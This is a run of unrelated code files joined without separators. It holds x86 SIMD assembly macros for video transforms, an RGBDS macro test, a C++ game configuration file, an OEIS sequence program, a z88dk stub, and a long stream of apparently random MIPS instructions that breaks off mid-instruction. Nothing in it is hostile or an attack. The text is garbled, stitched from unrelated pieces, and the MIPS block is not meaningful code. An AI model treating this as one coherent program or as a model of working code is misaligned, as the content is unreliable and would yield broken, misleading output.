SBUTTERFLY dq, %2, %4, %5 SWAP %2, %3 %endmacro %macro TRANSPOSE2x4x4W 5 SBUTTERFLY wd, %1, %2, %5 SBUTTERFLY wd, %3, %4, %5 SBUTTERFLY dq, %1, %3, %5 SBUTTERFLY dq, %2, %4, %5 SBUTTERFLY qdq, %1, %2, %5 SBUTTERFLY qdq, %3, %4, %5 %endmacro %macro TRANSPOSE4x4D 5 SBUTTERFLY dq, %1, %2, %5 SBUTTERFLY dq, %3, %4, %5 SBUTTERFLY qdq, %1, %3, %5 SBUTTERFLY qdq, %2, %4, %5 SWAP %2, %3 %endmacro %macro TRANSPOSE8x8W 9-11 %if ARCH_X86_64 SBUTTERFLY wd, %1, %2, %9 SBUTTERFLY wd, %3, %4, %9 SBUTTERFLY wd, %5, %6, %9 SBUTTERFLY wd, %7, %8, %9 SBUTTERFLY dq, %1, %3, %9 SBUTTERFLY dq, %2, %4, %9 SBUTTERFLY dq, %5, %7, %9 SBUTTERFLY dq, %6, %8, %9 SBUTTERFLY qdq, %1, %5, %9 SBUTTERFLY qdq, %2, %6, %9 SBUTTERFLY qdq, %3, %7, %9 SBUTTERFLY qdq, %4, %8, %9 SWAP %2, %5 SWAP %4, %7 %else ; in: m0..m7, unless %11 in which case m6 is in %9 ; out: m0..m7, unless %11 in which case m4 is in %10 ; spills into %9 and %10 %if %0<11 movdqa %9, m%7 %endif SBUTTERFLY wd, %1, %2, %7 movdqa %10, m%2 movdqa m%7, %9 SBUTTERFLY wd, %3, %4, %2 SBUTTERFLY wd, %5, %6, %2 SBUTTERFLY wd, %7, %8, %2 SBUTTERFLY dq, %1, %3, %2 movdqa %9, m%3 movdqa m%2, %10 SBUTTERFLY dq, %2, %4, %3 SBUTTERFLY dq, %5, %7, %3 SBUTTERFLY dq, %6, %8, %3 SBUTTERFLY qdq, %1, %5, %3 SBUTTERFLY qdq, %2, %6, %3 movdqa %10, m%2 movdqa m%3, %9 SBUTTERFLY qdq, %3, %7, %2 SBUTTERFLY qdq, %4, %8, %2 SWAP %2, %5 SWAP %4, %7 %if %0<11 movdqa m%5, %10 %endif %endif %endmacro %macro WIDEN_SXWD 2 punpckhwd m%2, m%1 psrad m%2, 16 %if cpuflag(sse4) pmovsxwd m%1, m%1 %else punpcklwd m%1, m%1 psrad m%1, 16 %endif %endmacro %macro ABSW 2-3 ; dst, src, tmp (tmp used only if dst==src) %if cpuflag(ssse3) pabsw %1, %2 %elifidn %3, sign ; version for pairing with PSIGNW: modifies src pxor %1, %1 pcmpgtw %1, %2 pxor %2, %1 psubw %2, %1 SWAP %1, %2 %elifidn %1, %2 pxor %3, %3 psubw %3, %1 pmaxsw %1, %3 %elifid %2 pxor %1, %1 psubw %1, %2 pmaxsw %1, %2 %elif %0 == 2 pxor %1, %1 psubw %1, %2 pmaxsw %1, %2 %else mova %1, %2 pxor %3, %3 psubw %3, %1 pmaxsw %1, %3 %endif %endmacro %macro ABSW2 6 ; dst1, dst2, src1, src2, tmp, tmp %if cpuflag(ssse3) pabsw %1, %3 pabsw %2, %4 %elifidn %1, %3 pxor %5, %5 pxor %6, %6 psubw %5, %1 psubw %6, %2 pmaxsw %1, %5 pmaxsw %2, %6 %else pxor %1, %1 pxor %2, %2 psubw %1, %3 psubw %2, %4 pmaxsw %1, %3 pmaxsw %2, %4 %endif %endmacro %macro ABSB 2 %if cpuflag(ssse3) pabsb %1, %1 %else pxor %2, %2 psubb %2, %1 pminub %1, %2 %endif %endmacro %macro ABSD 2-3 %if cpuflag(ssse3) pabsd %1, %2 %else %define %%s %2 %if %0 == 3 mova %3, %2 %define %%s %3 %endif pxor %1, %1 pcmpgtd %1, %%s pxor %%s, %1 psubd %%s, %1 SWAP %1, %%s %endif %endmacro %macro PSIGN 3-4 %if cpuflag(ssse3) && %0 == 4 psign%1 %2, %3, %4 %elif cpuflag(ssse3) psign%1 %2, %3 %elif %0 == 4 pxor %2, %3, %4 psub%1 %2, %4 %else pxor %2, %3 psub%1 %2, %3 %endif %endmacro %define PSIGNW PSIGN w, %define PSIGND PSIGN d, %macro SPLATB_LOAD 3 %if cpuflag(ssse3) movd %1, [%2-3] pshufb %1, %3 %else movd %1, [%2-3] ;to avoid crossing a cacheline punpcklbw %1, %1 SPLATW %1, %1, 3 %endif %endmacro %imacro SPLATW 2-3 0 %if cpuflag(avx2) && %3 == 0 vpbroadcastw %1, %2 %else %define %%s %2 %ifid %2 %define %%s xmm%2 %elif %3 == 0 movd xmm%1, %2 %define %%s xmm%1 %endif PSHUFLW xmm%1, %%s, (%3)*q1111 %if mmsize >= 32 vpbroadcastq %1, xmm%1 %elif mmsize == 16 punpcklqdq %1, %1 %endif %endif %endmacro %imacro SPLATD 2-3 0 %if cpuflag(avx2) && %3 == 0 vpbroadcastd %1, %2 %else %define %%s %2 %ifid %2 %define %%s xmm%2 %elif %3 == 0 movd xmm%1, %2 %define %%s xmm%1 %endif %if mmsize == 8 && %3 == 0 %ifidn %1, %%s punpckldq %1, %1 %else pshufw %1, %%s, q1010 %endif %elif mmsize == 8 && %3 == 1 %ifidn %1, %%s punpckhdq %1, %1 %else pshufw %1, %%s, q3232 %endif %else pshufd xmm%1, %%s, (%3)*q1111 %endif %if mmsize >= 32 vpbroadcastq %1, xmm%1 %endif %endif %endmacro %macro CLIPW 3 ;(dst, min, max) pmaxsw %1, %2 pminsw %1, %3 %endmacro %macro MOVHL 2 ; dst, src %ifidn %1, %2 punpckhqdq %1, %2 %elif cpuflag(avx) punpckhqdq %1, %2, %2 %elif cpuflag(sse4) pshufd %1, %2, q3232 ; pshufd is slow on some older CPUs, so only use it on more modern ones %else movhlps %1, %2 ; may cause an int/float domain transition and has a dependency on dst %endif %endmacro %macro HADDD 2 ; sum junk %if sizeof%1 >= 64 vextracti32x8 ymm%2, zmm%1, 1 paddd ymm%1, ymm%2 %endif %if sizeof%1 >= 32 vextracti128 xmm%2, ymm%1, 1 paddd xmm%1, xmm%2 %endif %if sizeof%1 >= 16 MOVHL xmm%2, xmm%1 paddd xmm%1, xmm%2 %endif %if cpuflag(xop) && sizeof%1 == 16 vphadddq xmm%1, xmm%1 %else PSHUFLW xmm%2, xmm%1, q1032 paddd xmm%1, xmm%2 %endif %endmacro %macro HADDW 2 ; reg, tmp %if cpuflag(xop) && sizeof%1 == 16 vphaddwq %1, %1 MOVHL %2, %1 paddd %1, %2 %else pmaddwd %1, [pw_1] HADDD %1, %2 %endif %endmacro %macro HADDUWD 2 %if cpuflag(xop) && sizeof%1 == 16 vphadduwd %1, %1 %else psrld %2, %1, 16 pslld %1, 16 psrld %1, 16 paddd %1, %2 %endif %endmacro %macro HADDUW 2 %if cpuflag(xop) && sizeof%1 == 16 vphadduwq %1, %1 MOVHL %2, %1 paddd %1, %2 %else HADDUWD %1, %2 HADDD %1, %2 %endif %endmacro %macro PALIGNR 4-5 ; [dst,] src1, src2, imm, tmp ; AVX2 version uses a precalculated extra input that ; can be re-used across calls %if sizeof%1==32 ; %3 = abcdefgh ijklmnop (lower address) ; %2 = ABCDEFGH IJKLMNOP (higher address) ; vperm2i128 %5, %2, %3, q0003 ; %5 = ijklmnop ABCDEFGH %if %4 < 16 palignr %1, %5, %3, %4 ; %1 = bcdefghi jklmnopA %else palignr %1, %2, %5, %4-16 ; %1 = pABCDEFG HIJKLMNO %endif %elif cpuflag(ssse3) %if %0==5 palignr %1, %2, %3, %4 %else palignr %1, %2, %3 %endif %else %define %%dst %1 %if %0==5 %ifnidn %1, %2 mova %%dst, %2 %endif %rotate 1 %endif %ifnidn %4, %2 mova %4, %2 %endif %if mmsize==8 psllq %%dst, (8-%3)*8 psrlq %4, %3*8 %else pslldq %%dst, 16-%3 psrldq %4, %3 %endif por %%dst, %4 %endif %endmacro %macro PSHUFLW 1+ %if mmsize == 8 pshufw %1 %else pshuflw %1 %endif %endmacro ; shift a mmxreg by n bytes, or a xmmreg by 2*n bytes ; values shifted in are undefined ; faster if dst==src %define PSLLPIX PSXLPIX l, -1, ;dst, src, shift %define PSRLPIX PSXLPIX r, 1, ;dst, src, shift %macro PSXLPIX 5 %if mmsize == 8 %if %5&1 ps%1lq %3, %4, %5*8 %else pshufw %3, %4, (q3210<<8>>(8+%2*%5))&0xff %endif %else ps%1ldq %3, %4, %5*2 %endif %endmacro %macro DEINTB 5 ; mask, reg1, mask, reg2, optional src to fill masks from %ifnum %5 pand m%3, m%5, m%4 ; src .. y6 .. y4 pand m%1, m%5, m%2 ; dst .. y6 .. y4 %else mova m%1, %5 pand m%3, m%1, m%4 ; src .. y6 .. y4 pand m%1, m%1, m%2 ; dst .. y6 .. y4 %endif psrlw m%2, 8 ; dst .. y7 .. y5 psrlw m%4, 8 ; src .. y7 .. y5 %endmacro %macro SUMSUB_BA 3-4 %if %0==3 padd%1 m%2, m%3 padd%1 m%3, m%3 psub%1 m%3, m%2 %elif avx_enabled padd%1 m%4, m%2, m%3 psub%1 m%3, m%2 SWAP %2, %4 %else mova m%4, m%2 padd%1 m%2, m%3 psub%1 m%3, m%4 %endif %endmacro %macro SUMSUB_BADC 5-6 %if %0==6 SUMSUB_BA %1, %2, %3, %6 SUMSUB_BA %1, %4, %5, %6 %else padd%1 m%2, m%3 padd%1 m%4, m%5 padd%1 m%3, m%3 padd%1 m%5, m%5 psub%1 m%3, m%2 psub%1 m%5, m%4 %endif %endmacro %macro HADAMARD4_V 4+ SUMSUB_BADC w, %1, %2, %3, %4 SUMSUB_BADC w, %1, %3, %2, %4 %endmacro %macro HADAMARD8_V 8+ SUMSUB_BADC w, %1, %2, %3, %4 SUMSUB_BADC w, %5, %6, %7, %8 SUMSUB_BADC w, %1, %3, %2, %4 SUMSUB_BADC w, %5, %7, %6, %8 SUMSUB_BADC w, %1, %5, %2, %6 SUMSUB_BADC w, %3, %7, %4, %8 %endmacro %macro TRANS_SSE2 5-6 ; TRANSPOSE2x2 ; %1: transpose width (d/q) - use SBUTTERFLY qdq for dq ; %2: ord/unord (for compat with sse4, unused) ; %3/%4: source regs ; %5/%6: tmp regs %ifidn %1, d %define mask [mask_10] %define shift 16 %elifidn %1, q %define mask [mask_1100] %define shift 32 %endif %if %0==6 ; less dependency if we have two tmp mova m%5, mask ; ff00 mova m%6, m%4 ; x5x4 psll%1 m%4, shift ; x4.. pand m%6, m%5 ; x5.. pandn m%5, m%3 ; ..x0 psrl%1 m%3, shift ; ..x1 por m%4, m%5 ; x4x0 por m%3, m%6 ; x5x1 %else ; more dependency, one insn less. sometimes faster, sometimes not mova m%5, m%4 ; x5x4 psll%1 m%4, shift ; x4.. pxor m%4, m%3 ; (x4^x1)x0 pand m%4, mask ; (x4^x1).. pxor m%3, m%4 ; x4x0 psrl%1 m%4, shift ; ..(x1^x4) pxor m%5, m%4 ; x5x1 SWAP %4, %3, %5 %endif %endmacro %macro TRANS_SSE4 5-6 ; see above %ifidn %1, d %ifidn %2, ord psrl%1 m%5, m%3, 16 pblendw m%5, m%4, q2222 psll%1 m%4, 16 pblendw m%4, m%3, q1111 SWAP %3, %5 %else %if avx_enabled pblendw m%5, m%3, m%4, q2222 SWAP %3, %5 %else mova m%5, m%3 pblendw m%3, m%4, q2222 %endif psll%1 m%4, 16 psrl%1 m%5, 16 por m%4, m%5 %endif %elifidn %1, q shufps m%5, m%3, m%4, q3131 shufps m%3, m%3, m%4, q2020 SWAP %4, %5 %endif %endmacro %macro TRANS_XOP 5-6 %ifidn %1, d vpperm m%5, m%3, m%4, [transd_shuf1] vpperm m%3, m%3, m%4, [transd_shuf2] %elifidn %1, q shufps m%5, m%3, m%4, q3131 shufps m%3, m%4, q2020 %endif SWAP %4, %5 %endmacro %macro HADAMARD 5-6 ; %1=distance in words (0 for vertical pass, 1/2/4 for horizontal passes) ; %2=sumsub/max/amax (sum and diff / maximum / maximum of absolutes) ; %3/%4: regs ; %5(%6): tmpregs %if %1!=0 ; have to reorder stuff for horizontal op %ifidn %2, sumsub %define ORDER ord ; sumsub needs order because a-b != b-a unless a=b %else %define ORDER unord ; if we just max, order doesn't matter (allows pblendw+or in sse4) %endif %if %1==1 TRANS d, ORDER, %3, %4, %5, %6 %elif %1==2 %if mmsize==8 SBUTTERFLY dq, %3, %4, %5 %elif %0==6 TRANS q, ORDER, %3, %4, %5, %6 %else TRANS q, ORDER, %3, %4, %5 %endif %elif %1==4 SBUTTERFLY qdq, %3, %4, %5 %elif %1==8 SBUTTERFLY dqqq, %3, %4, %5 %endif %endif %ifidn %2, sumsub SUMSUB_BA w, %3, %4, %5 %else %ifidn %2, amax %if %0==6 ABSW2 m%3, m%4, m%3, m%4, m%5, m%6 %else ABSW m%3, m%3, m%5 ABSW m%4, m%4, m%5 %endif %endif pmaxsw m%3, m%4 %endif %endmacro %macro HADAMARD2_2D 6-7 sumsub HADAMARD 0, sumsub, %1, %2, %5 HADAMARD 0, sumsub, %3, %4, %5 SBUTTERFLY %6, %1, %2, %5 %ifnum %7 HADAMARD 0, amax, %1, %2, %5, %7 %else HADAMARD 0, %7, %1, %2, %5 %endif SBUTTERFLY %6, %3, %4, %5 %ifnum %7 HADAMARD 0, amax, %3, %4, %5, %7 %else HADAMARD 0, %7, %3, %4, %5 %endif %endmacro %macro HADAMARD4_2D 5-6 sumsub HADAMARD2_2D %1, %2, %3, %4, %5, wd HADAMARD2_2D %1, %3, %2, %4, %5, dq, %6 SWAP %2, %3 %endmacro %macro HADAMARD4_2D_SSE 5-6 sumsub HADAMARD 0, sumsub, %1, %2, %5 ; 1st V row 0 + 1 HADAMARD 0, sumsub, %3, %4, %5 ; 1st V row 2 + 3 SBUTTERFLY wd, %1, %2, %5 ; %1: m0 1+0 %2: m1 1+0 SBUTTERFLY wd, %3, %4, %5 ; %3: m0 3+2 %4: m1 3+2 HADAMARD2_2D %1, %3, %2, %4, %5, dq SBUTTERFLY qdq, %1, %2, %5 HADAMARD 0, %6, %1, %2, %5 ; 2nd H m1/m0 row 0+1 SBUTTERFLY qdq, %3, %4, %5 HADAMARD 0, %6, %3, %4, %5 ; 2nd H m1/m0 row 2+3 %endmacro %macro HADAMARD8_2D 9-10 sumsub HADAMARD2_2D %1, %2, %3, %4, %9, wd HADAMARD2_2D %5, %6, %7, %8, %9, wd HADAMARD2_2D %1, %3, %2, %4, %9, dq HADAMARD2_2D %5, %7, %6, %8, %9, dq HADAMARD2_2D %1, %5, %3, %7, %9, qdq, %10 HADAMARD2_2D %2, %6, %4, %8, %9, qdq, %10 %ifnidn %10, amax SWAP %2, %5 SWAP %4, %7 %endif %endmacro ; doesn't include the "pmaddubsw hmul_8p" pass %macro HADAMARD8_2D_HMUL 10 HADAMARD4_V %1, %2, %3, %4, %9 HADAMARD4_V %5, %6, %7, %8, %9 SUMSUB_BADC w, %1, %5, %2, %6, %9 HADAMARD 2, sumsub, %1, %5, %9, %10 HADAMARD 2, sumsub, %2, %6, %9, %10 SUMSUB_BADC w, %3, %7, %4, %8, %9 HADAMARD 2, sumsub, %3, %7, %9, %10 HADAMARD 2, sumsub, %4, %8, %9, %10 HADAMARD 1, amax, %1, %5, %9, %10 HADAMARD 1, amax, %2, %6, %9, %5 HADAMARD 1, amax, %3, %7, %9, %5 HADAMARD 1, amax, %4, %8, %9, %5 %endmacro %macro SUMSUB2_AB 4 %if cpuflag(xop) pmacs%1%1 m%4, m%3, [p%1_m2], m%2 pmacs%1%1 m%2, m%2, [p%1_2], m%3 %elifnum %3 psub%1 m%4, m%2, m%3 psub%1 m%4, m%3 padd%1 m%2, m%2 padd%1 m%2, m%3 %else mova m%4, m%2 padd%1 m%2, m%2 padd%1 m%2, %3 psub%1 m%4, %3 psub%1 m%4, %3 %endif %endmacro %macro SUMSUBD2_AB 5 %ifnum %4 psra%1 m%5, m%2, 1 ; %3: %3>>1 psra%1 m%4, m%3, 1 ; %2: %2>>1 padd%1 m%4, m%2 ; %3: %3>>1+%2 psub%1 m%5, m%3 ; %2: %2>>1-%3 SWAP %2, %5 SWAP %3, %4 %else mova %5, m%2 mova %4, m%3 psra%1 m%3, 1 ; %3: %3>>1 psra%1 m%2, 1 ; %2: %2>>1 padd%1 m%3, %5 ; %3: %3>>1+%2 psub%1 m%2, %4 ; %2: %2>>1-%3 %endif %endmacro %macro DCT4_1D 5 %ifnum %5 SUMSUB_BADC w, %4, %1, %3, %2, %5 SUMSUB_BA w, %3, %4, %5 SUMSUB2_AB w, %1, %2, %5 SWAP %1, %3, %4, %5, %2 %else SUMSUB_BADC w, %4, %1, %3, %2 SUMSUB_BA w, %3, %4 mova [%5], m%2 SUMSUB2_AB w, %1, [%5], %2 SWAP %1, %3, %4, %2 %endif %endmacro %macro IDCT4_1D 6-7 %ifnum %6 SUMSUBD2_AB %1, %3, %5, %7, %6 ; %3: %3>>1-%5 %5: %3+%5>>1 SUMSUB_BA %1, %4, %2, %7 ; %4: %2+%4 %2: %2-%4 SUMSUB_BADC %1, %5, %4, %3, %2, %7 ; %5: %2+%4 + (%3+%5>>1) ; %4: %2+%4 - (%3+%5>>1) ; %3: %2-%4 + (%3>>1-%5) ; %2: %2-%4 - (%3>>1-%5) %else %ifidn %1, w SUMSUBD2_AB %1, %3, %5, [%6], [%6+16] %else SUMSUBD2_AB %1, %3, %5, [%6], [%6+32] %endif SUMSUB_BA %1, %4, %2 SUMSUB_BADC %1, %5, %4, %3, %2 %endif SWAP %2, %5, %4 ; %2: %2+%4 + (%3+%5>>1) row0 ; %3: %2-%4 + (%3>>1-%5) row1 ; %4: %2-%4 - (%3>>1-%5) row2 ; %5: %2+%4 - (%3+%5>>1) row3 %endmacro %macro LOAD_DIFF 5-6 1 %if HIGH_BIT_DEPTH %if %6 ; %5 aligned? mova %1, %4 psubw %1, %5 %elif cpuflag(avx) movu %1, %4 psubw %1, %5 %else movu %1, %4 movu %2, %5 psubw %1, %2 %endif %else ; !HIGH_BIT_DEPTH movh %1, %4 movh %2, %5 %ifidn %3, none punpcklbw %1, %2 punpcklbw %2, %2 %else punpcklbw %1, %3 punpcklbw %2, %3 %endif psubw %1, %2 %endif ; HIGH_BIT_DEPTH %endmacro %macro LOAD_DIFF8x4 8 ; 4x dst, 1x tmp, 1x mul, 2x ptr %if BIT_DEPTH == 8 && cpuflag(ssse3) movh m%2, [%8+%1*FDEC_STRIDE] movh m%1, [%7+%1*FENC_STRIDE] punpcklbw m%1, m%2 movh m%3, [%8+%2*FDEC_STRIDE] movh m%2, [%7+%2*FENC_STRIDE] punpcklbw m%2, m%3 movh m%4, [%8+%3*FDEC_STRIDE] movh m%3, [%7+%3*FENC_STRIDE] punpcklbw m%3, m%4 movh m%5, [%8+%4*FDEC_STRIDE] movh m%4, [%7+%4*FENC_STRIDE] punpcklbw m%4, m%5 pmaddubsw m%1, m%6 pmaddubsw m%2, m%6 pmaddubsw m%3, m%6 pmaddubsw m%4, m%6 %else LOAD_DIFF m%1, m%5, m%6, [%7+%1*FENC_STRIDEB], [%8+%1*FDEC_STRIDEB] LOAD_DIFF m%2, m%5, m%6, [%7+%2*FENC_STRIDEB], [%8+%2*FDEC_STRIDEB] LOAD_DIFF m%3, m%5, m%6, [%7+%3*FENC_STRIDEB], [%8+%3*FDEC_STRIDEB] LOAD_DIFF m%4, m%5, m%6, [%7+%4*FENC_STRIDEB], [%8+%4*FDEC_STRIDEB] %endif %endmacro %macro STORE_DCT 6 movq [%5+%6+ 0], m%1 movq [%5+%6+ 8], m%2 movq [%5+%6+16], m%3 movq [%5+%6+24], m%4 movhps [%5+%6+32], m%1 movhps [%5+%6+40], m%2 movhps [%5+%6+48], m%3 movhps [%5+%6+56], m%4 %endmacro %macro STORE_IDCT 4 movhps [r0-4*FDEC_STRIDE], %1 movh [r0-3*FDEC_STRIDE], %1 movhps [r0-2*FDEC_STRIDE], %2 movh [r0-1*FDEC_STRIDE], %2 movhps [r0+0*FDEC_STRIDE], %3 movh [r0+1*FDEC_STRIDE], %3 movhps [r0+2*FDEC_STRIDE], %4 movh [r0+3*FDEC_STRIDE], %4 %endmacro %macro LOAD_DIFF_8x4P 7-11 r0,r2,0,1 ; 4x dest, 2x temp, 2x pointer, increment, aligned? LOAD_DIFF m%1, m%5, m%7, [%8], [%9], %11 LOAD_DIFF m%2, m%6, m%7, [%8+r1], [%9+r3], %11 LOAD_DIFF m%3, m%5, m%7, [%8+2*r1], [%9+2*r3], %11 LOAD_DIFF m%4, m%6, m%7, [%8+r4], [%9+r5], %11 %if %10 lea %8, [%8+4*r1] lea %9, [%9+4*r3] %endif %endmacro ; 2xdst, 2xtmp, 2xsrcrow %macro LOAD_DIFF16x2_AVX2 6 pmovzxbw m%1, [r1+%5*FENC_STRIDE] pmovzxbw m%2, [r1+%6*FENC_STRIDE] pmovzxbw m%3, [r2+(%5-4)*FDEC_STRIDE] pmovzxbw m%4, [r2+(%6-4)*FDEC_STRIDE] psubw m%1, m%3 psubw m%2, m%4 %endmacro %macro DIFFx2 6-7 movh %3, %5 punpcklbw %3, %4 psraw %1, 6 paddsw %1, %3 movh %3, %6 punpcklbw %3, %4 psraw %2, 6 paddsw %2, %3 packuswb %2, %1 %endmacro ; (high depth) in: %1, %2, min to clip, max to clip, mem128 ; in: %1, tmp, %3, mem64 %macro STORE_DIFF 4-5 %if HIGH_BIT_DEPTH psrad %1, 6 psrad %2, 6 packssdw %1, %2 paddw %1, %5 CLIPW %1, %3, %4 mova %5, %1 %else movh %2, %4 punpcklbw %2, %3 psraw %1, 6 paddsw %1, %2 packuswb %1, %1 movh %4, %1 %endif %endmacro %macro SHUFFLE_MASK_W 8 %rep 8 %if %1>=0x80 db %1, %1 %else db %1*2 db %1*2+1 %endif %rotate 1 %endrep %endmacro ; instruction, accum, input, iteration (zero to swap, nonzero to add) %macro ACCUM 4 %if %4 %1 m%2, m%3 %else SWAP %2, %3 %endif %endmacro
macro try println \1, "\2:" def prefix equs \1 {prefix}\2 = 10 println \2 ; 10 {prefix}\2 += 5 println \2 ; 15 {prefix}\2 -= 1 println \2 ; 14 {prefix}\2 *= 2 println \2 ; 28 {prefix}\2 /= 4 println \2 ; 7 {prefix}\2 %= 3 println \2 ; 1 {prefix}\2 |= 11 println \2 ; 11 {prefix}\2 ^= 12 println \2 ; 7 {prefix}\2 &= 21 println \2 ; 5 {prefix}\2 <<= 2 println \2 ; 20 {prefix}\2 >>= 1 println \2 ; 10 purge prefix endm try "", p try "def ", q try "redef ", r _RS += 100 println _RS __LINE__ *= 200 println __LINE__ UnDeFiNeD ^= 300 println UnDeFiNeD
/* * Copyright (c) 2020-2021 Lihowar * * This software is licensed under OSEF License. * * The "Software" is defined as the pieces of code, the documentation files, the config * files, the textures assets, the Wavefront OBJ assets, the screenshot image, the sound * effects and music associated with. * * This Software is licensed under OSEF License which means IN ACCORDANCE WITH THE LICENSE * OF THE DEPENDENCIES OF THE SOFTWARE, you can use it as you want for any purpose, but * it comes with no guarantee of any kind, provided that you respects the license of the * software dependencies of the piece of code you want to reuse. The dependencies are * listed at the end of the README given in the directory root of the Lihowar repository. */ #include <lihowarlib/GameConfig.hpp> using namespace lihowar; namespace lihowar { std::string cfg::EXEC_PATH (""); std::string cfg::EXEC_DIR (""); // These are hard coded default config // (last fallback if any of the json files have failed) bool cfg::DEBUG = false; std::string cfg::PATH_ASSETS ("assets/"); std::string cfg::PATH_SHADERS ("shaders/"); std::string cfg::PATH_SCENES ("scenes/"); bool cfg::FULLSCREEN = false; unsigned int cfg::WINDOW_WIDTH = (cfg::FULLSCREEN) ? 1920 : 1600; unsigned int cfg::WINDOW_HEIGHT = (cfg::FULLSCREEN) ? 1080 : 900; float cfg::ASPECT_RATIO = cfg::WINDOW_WIDTH / (float) cfg::WINDOW_HEIGHT; float cfg::MAX_FRAMERATE = 60.f; float cfg::MIN_FOV = 70.0f; float cfg::MAX_FOV = 95.0f; float cfg::Z_NEAR = .1f; float cfg::Z_FAR = 5000.f; bool cfg::USE_ANTIALIASING = true; unsigned int cfg::MSAA = 1*2; std::string cfg::SCENE ("scene1.json"); }
; A258011: Numbers remaining after the third stage of Lucky sieve. ; 1,3,7,9,13,15,21,25,27,31,33,37,43,45,49,51,55,57,63,67,69,73,75,79,85,87,91,93,97,99,105,109,111,115,117,121,127,129,133,135,139,141,147,151,153,157,159,163,169,171,175,177,181,183,189,193,195,199,201,205,211,213,217,219,223,225,231,235,237,241,243,247,253,255,259,261,265,267,273,277,279,283,285,289,295,297,301,303,307,309,315,319,321,325,327,331,337,339,343,345 mul $0,7 mov $1,$0 div $0,6 div $1,12 add $0,$1 mul $0,2 add $0,1
SECTION code_clib SECTION code_fp_math48 PUBLIC _remquo EXTERN cm48_sdcciy_remquo defc _remquo = cm48_sdcciy_remquo
ori $ra,$ra,0xf mfhi $4 lui $4,6356 lui $5,21669 ori $4,$4,59968 sll $1,$4,10 div $0,$ra sll $3,$3,11 addiu $6,$4,-1930 div $1,$ra mfhi $4 addu $4,$1,$1 sb $3,12($0) multu $4,$4 addiu $4,$1,27603 addu $5,$5,$5 sb $4,5($0) sll $5,$4,15 lb $5,0($0) divu $2,$ra mthi $5 addu $3,$1,$3 mult $2,$2 div $5,$ra div $0,$ra divu $4,$ra divu $0,$ra sb $4,15($0) mtlo $6 divu $4,$ra lui $1,53367 mtlo $2 lb $3,11($0) addu $5,$2,$4 srav $5,$4,$3 addu $4,$4,$3 lb $1,2($0) lui $2,6436 addu $0,$4,$3 addiu $5,$5,18871 divu $4,$ra mflo $5 mfhi $4 mflo $1 addu $2,$2,$3 addu $1,$1,$4 lb $5,15($0) mthi $4 mthi $0 sll $6,$6,24 sll $2,$2,24 mthi $3 multu $4,$0 mfhi $0 divu $5,$ra divu $4,$ra mtlo $4 div $0,$ra addiu $6,$6,-18325 mflo $2 addiu $1,$4,2675 addiu $2,$2,10934 addiu $4,$5,22758 div $1,$ra mult $5,$4 mfhi $5 addiu $5,$4,1131 lb $5,12($0) div $5,$ra div $3,$ra mult $4,$1 lui $4,3697 sb $3,12($0) mflo $6 mfhi $6 addu $1,$1,$3 srav $2,$6,$2 mult $5,$5 div $3,$ra ori $6,$4,19995 divu $4,$ra divu $3,$ra lb $3,1($0) divu $1,$ra div $5,$ra sll $5,$5,29 lb $1,4($0) lui $0,22949 sb $5,6($0) sb $1,2($0) mtlo $4 lb $4,0($0) mthi $4 lui $0,41763 lui $5,25734 mult $5,$3 mthi $6 mflo $5 addiu $4,$1,2985 divu $5,$ra mult $3,$0 mtlo $1 mult $5,$4 lui $4,12208 sll $3,$4,14 mflo $4 sb $6,4($0) mfhi $1 addu $3,$5,$3 mtlo $3 mfhi $4 addu $1,$2,$0 multu $2,$2 mtlo $4 sb $2,5($0) mthi $1 mult $2,$2 mthi $3 lui $1,54782 ori $1,$1,60522 divu $2,$ra div $5,$ra addu $1,$1,$1 multu $4,$1 sll $0,$5,20 lb $1,11($0) lui $6,4051 srav $4,$1,$4 multu $5,$6 sb $0,13($0) addiu $4,$4,25814 mfhi $6 div $1,$ra lui $4,31236 mtlo $5 addu $6,$6,$6 divu $5,$ra mthi $4 addu $5,$1,$3 lui $4,5762 sb $2,2($0) mfhi $4 mthi $5 sll $5,$5,7 mthi $4 divu $4,$ra mtlo $1 div $2,$ra lb $0,8($0) multu $4,$4 lui $1,17770 lb $5,12($0) srav $4,$2,$4 sll $5,$5,2 multu $5,$5 div $6,$ra mult $1,$1 lui $5,37650 sb $5,7($0) mfhi $1 divu $1,$ra ori $0,$0,45537 mthi $1 multu $1,$3 div $2,$ra srav $0,$2,$1 lb $4,0($0) sll $5,$5,18 addiu $4,$2,-16286 mult $6,$2 addu $6,$3,$3 multu $1,$1 mtlo $4 srav $4,$0,$4 ori $1,$2,38686 sb $4,16($0) divu $1,$ra mult $2,$2 divu $6,$ra mult $5,$2 lb $3,11($0) ori $3,$5,62405 lui $4,30094 div $1,$ra multu $4,$1 lui $4,60962 lb $0,4($0) mfhi $2 lb $5,16($0) lui $3,4848 mult $4,$4 mult $6,$5 mtlo $4 lui $4,6033 divu $0,$ra srav $4,$5,$5 lb $5,10($0) mthi $0 mtlo $5 div $1,$ra sb $3,6($0) sb $4,10($0) div $3,$ra srav $3,$1,$3 lb $6,7($0) lb $5,8($0) mult $6,$6 srav $0,$0,$0 mthi $4 divu $3,$ra divu $1,$ra mflo $3 sll $6,$6,18 ori $4,$3,3187 mtlo $5 addiu $3,$2,1737 mthi $5 ori $1,$1,34247 sll $4,$4,14 divu $1,$ra mult $5,$4 divu $4,$ra mtlo $3 sll $1,$1,22 div $2,$ra mflo $3 sll $4,$4,18 divu $5,$ra srav $5,$2,$4 mult $6,$1 mthi $1 srav $5,$0,$5 mtlo $1 divu $5,$ra srav $0,$4,$4 div $4,$ra srav $5,$1,$5 mult $1,$2 lui $5,24990 divu $5,$ra sll $4,$4,3 lb $5,12($0) mtlo $2 mtlo $6 srav $1,$4,$1 lui $4,57666 lui $2,51223 mthi $4 div $5,$ra mult $2,$4 mult $1,$5 lui $4,61918 addu $4,$1,$4 lb $3,14($0) divu $5,$ra sll $1,$1,9 srav $1,$4,$1 ori $5,$2,60652 sb $6,2($0) sll $4,$1,26 srav $4,$4,$1 lui $4,14138 addiu $1,$4,2626 addiu $4,$4,14120 sb $4,7($0) lb $2,9($0) lui $6,8857 mult $4,$4 lui $4,13430 mult $4,$4 addiu $1,$2,30773 addiu $6,$4,31579 ori $6,$2,47065 mfhi $4 sb $4,3($0) multu $6,$0 divu $1,$ra sll $5,$1,5 mthi $4 lb $0,15($0) mfhi $6 multu $1,$1 lui $2,2171 sb $0,4($0) sll $3,$2,19 addiu $4,$4,-28354 mthi $6 divu $5,$ra div $5,$ra div $5,$ra mthi $1 mfhi $4 div $6,$ra addiu $6,$5,-25881 div $2,$ra lui $3,17062 div $5,$ra mult $4,$4 div $4,$ra ori $4,$4,19242 sb 